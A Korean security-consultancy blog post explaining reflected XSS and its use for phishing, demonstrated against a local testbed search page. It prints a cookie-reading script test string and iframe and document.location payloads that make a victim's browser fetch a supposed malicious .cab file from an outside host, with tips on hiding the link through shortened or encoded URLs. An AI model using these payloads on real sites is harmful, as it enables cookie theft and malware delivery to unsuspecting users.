XSS(Cross Site Scripting)의 정의
XSS는 웹 어플리케이션에 클라이언트로부터 악의적인 데이터를 받아들일때 발생합니다.
이렇게 받아 들여진 데이터는 다른 클라이언트가 그 페이지에 접근 할 경우에 전달 되게 되고, 이 클라이언트는 정상적인 데이터로 인식하고 그 내용을 해석 하게됩니다.
즉 웹 어플리케이션을 매개로 하여 다른 사용자의 브라우저에서 스크립트 실행이 가능해
지는 것입니다.
이 취약점은 OWASP 에서 TOP10에 수년째 계속 이어져오는 중요한 취약점 입니다.
XSS 에 관한 내용은 제가 운영하고 있는 회사 블로그에서 포스팅 된적 있으며
기술본부 인원들에게 메일로 전달한적이 있습니다.
이를 다시 확인하시고 싶으면
|
http://stginc.tistory.com/entry/Cross-Site-Scripting-with-CSS-Expression http://stginc.tistory.com/entry/Analysis-HTML5-XSS-with-Zeroboard-XE |
그리고 효과적인 XSS 및 ActiveX 에 대한 이야기는
다음에서 확인하실 수 있습니다.
지금부터 말씀드릴 내용은 위 에서 말씀드린 효과적인 XSS 에 대한 응용 방안에 대한 이야기입니다.
Reflected XSS에 관한 내용은 미리 아시다시피 사용자가 원하지 않는 페이지로 이동시킬 수 있어
시스템의 악의적인 파일 감염을 시킬 수 있는 취약점 입니다.
이는 곧 Phishing 으로도 이루어질 수 있는데 다음과같은 형식으로 진행이 됩니다.
TestBed에서 작업하였음을 알립니다.
위 환경은 빨간색 테두리 된 부분에서
식으로 사용자의 입력값을 받아 처리하게 됩니다.
이곳에서 XSS 테스트 문자열
|
"><script>alert(document.cookie);</script> |
를 삽입하게 되면 취약성이 존재함을 알 수 있게 됩니다.
이런 취약성은 다음과 같이 만들수도 있습니다.
|
http://localhost/main/search_product1.asp?qsearch=a"><script>alert(document.cookie);</script> |
마찬가지로 취약성이 있음을 확인하게 됩니다.
사이트의 각 환경마다 다르겠지만 사용자의 입력값 중 <Script> 를 막아두는 경우를 만나게 됩니다.
이런 사이트는 다음과같은 공격을 통해 피싱 공격을 할 수 있습니다.
위 Cab 파일은 악의적인 사용자가 제작해놓은 악성코드라고 가정합니다.
이를
|
"><iframe hei[중략]src="http://avinew.cafe24.com/activex/STGSecurity.cab"></iframe> |
위와같이 제작하여 Reflected XSS 취약성을 부곽시킬 수 있습니다.
이는 곧 이렇게 활용할 수 있습니다.
|
http://localhost/main/search_product1.asp?qsearch=a"><iframe hei[중략]:void(document.location="http://avinew.cafe24.com/activex/STGSecurity.cab")></iframe> |
이를 활용하는 모습입니다.
이러한 공격을 통해 사용자는 신뢰성이 있는 도메인을 통해 사용자가 심어놓은 악의적인 파일을 자신도 모르게
다운받게 됩니다.
(Location 후 악성 파일 유도가 아니라 페이지 내부에 iframe 형식을 이용 한다는것에 중점을 두시면됩니다.)
이를 좀 더 정교하게 하기 위해 Shorten URL 이나
URI 를 속이기 위해 Encoding을 이용할 수 있습니다.
이 문서는 배포본이기 때문에 보안상 일부 코드를 제외 하였음을 알려드립니다.
////////////////////////////////////////////////
incle
STG Security Consulting Division / Consultant
////////////////////////////////////////////////
'취약점 분석연구' 카테고리의 다른 글
| XSS With Phishing (0) | 2011/02/09 |
|---|---|
| Cain & Abel v4.9.37 released (0) | 2011/01/25 |
| 아웃룩 2007에서 특정 사용자 글씨 깨지는 현상 (0) | 2011/01/21 |
| 정보공유 - 교묘한 피싱기법 (0) | 2010/12/31 |
| 아이폰 앱 다루기 (2) | 2010/12/11 |
| 소스코드 진단 툴 Yasca에 대한 소개 문서 (3) | 2010/10/21 |

